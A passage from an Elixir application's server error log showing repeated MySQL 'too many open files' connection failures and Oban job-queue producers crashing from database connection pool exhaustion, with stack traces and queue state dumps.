    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:52:15.241763Z], limit: 5, uuid: "54ab246e-196e-4b25-b05f-1ade73c0e74a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:52:15.241769Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.34091>, refresh_timer: #Reference<0.2525715032.1099431938.35550>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:52:30.627000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:52:31.189000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:52:31.200000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:52:31.294000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:52:36.454000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:52:37.583000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:52:37.997000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:52:39.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1045ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:52:27.238951Z], limit: 5, uuid: "7e644ccd-fc3c-4cb0-9c06-0aeac9d9ae90", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:52:27.238957Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.34436>, refresh_timer: #Reference<0.2525715032.1068498948.34374>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:52:39.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 865ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:52:27.240250Z], limit: 10, uuid: "25cd8220-e115-4bbe-ae65-c808e5b0f81e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:52:27.240256Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.34435>, refresh_timer: #Reference<0.2525715032.1068498948.34419>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:52:39.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 852ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:52:27.238766Z], limit: 20, uuid: "065df58f-96e7-45bc-8b0c-f42426e13640", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:52:27.238773Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.34434>, refresh_timer: #Reference<0.2525715032.1068498948.34363>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:52:39.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 824ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:52:27.242845Z], limit: 5, uuid: "bc9eaf39-2721-4feb-b6aa-e2eed645a8b7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:52:27.242851Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.34437>, refresh_timer: #Reference<0.2525715032.1121189889.142562>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:52:39.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 822ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:52:27.239709Z], limit: 50, uuid: "870b6576-3b60-409c-b453-461163b29dab", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:52:27.239716Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.34438>, refresh_timer: #Reference<0.2525715032.1121189889.142541>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:52:39.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1090ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:52:27.240432Z], limit: 3, uuid: "cd759f6c-613a-4b8d-9231-db08ba8af842", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:52:27.240437Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.34439>, refresh_timer: #Reference<0.2525715032.1121189889.142554>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:52:39.448000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:52:43.289000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:52:43.616000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:52:49.470000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:52:50.889000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:52:51.185000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:52:51.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1047ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:52:39.240169Z], limit: 3, uuid: "fa8fcbd9-29c7-4a32-bc97-8a11d68553d3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:52:39.240175Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.34772>, refresh_timer: #Reference<0.2525715032.1068498948.34758>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:52:51.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1012ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
